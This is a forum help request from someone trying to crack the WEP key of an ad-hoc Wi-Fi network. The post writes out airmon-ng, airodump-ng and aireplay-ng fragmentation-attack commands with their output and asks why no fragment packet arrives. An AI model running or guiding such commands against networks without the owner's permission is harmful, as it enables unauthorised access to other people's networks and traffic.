WEP Crack Ad-Hoc

Good evening everyone,

I am attempting to crack a WEP Passkey on an Ad-Hoc network. However, during the aireplay stage below, it does not show that the network is available whereas airmon-ng does.

Code:

airmon-ng start wlan0 Interface Chipset Driver wlan0 Atheros ath5k - [phy0] (monitor mode enabled on mon0)

Then follows,

Code:

airodump-ng mon0

Which gives me:

Code:

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 02:12:F0:00:02:AC -1 56 8 0 11 54e. WEP WEP asdfgh

So I continue:

Code:

airodump-ng --bssid 02:12:F0:00:02:AC --channel 11 --ivs -w asdfgh mon0

I return with the screen getting the .ivs, and I see the .ivs populating on my desktop. So I continue:

Code:

aireplay-ng -5 -b 02:12:F0:00:02:AC mon0

With that, i get the return of

Code:

root@bt:~# aireplay-ng -5 -b 02:12:F0:00:02:AC mon0 No source MAC (-h) specified. Using the device MAC (00:1F:3A:A3:5D:BA) 17:04:41 Waiting for beacon frame (BSSID: 02:12:F0:00:02:AC) on channel 11 17:04:51 No such BSSID available. Please specify an ESSID (-e).

However if I were to use an ESSID (-e) I use:

Code:

aireplay-ng -5 -e asdfgh mon0

I see that it is waiting for packets, like this below but it will go for longer without receiving a fragment.

Code:

root@bt:~# aireplay-ng -5 -e asdfgh mon0 No source MAC (-h) specified. Using the device MAC (00:1F:3A:A3:5D:BA) 17:06:24 Waiting for beacon frame (ESSID: asdfgh) on channel 11 Found BSSID "00:12:F0:D0:FE:E2" to given ESSID "asdfgh". 17:06:24 Waiting for a data packet... ^Cad 3556 packets...

Sadly, without a fragment packet I do not know if it is possible to go on. If someoen would be able to point out my flaws, that would be great. :) Thank you for your time and reading this insanely long post.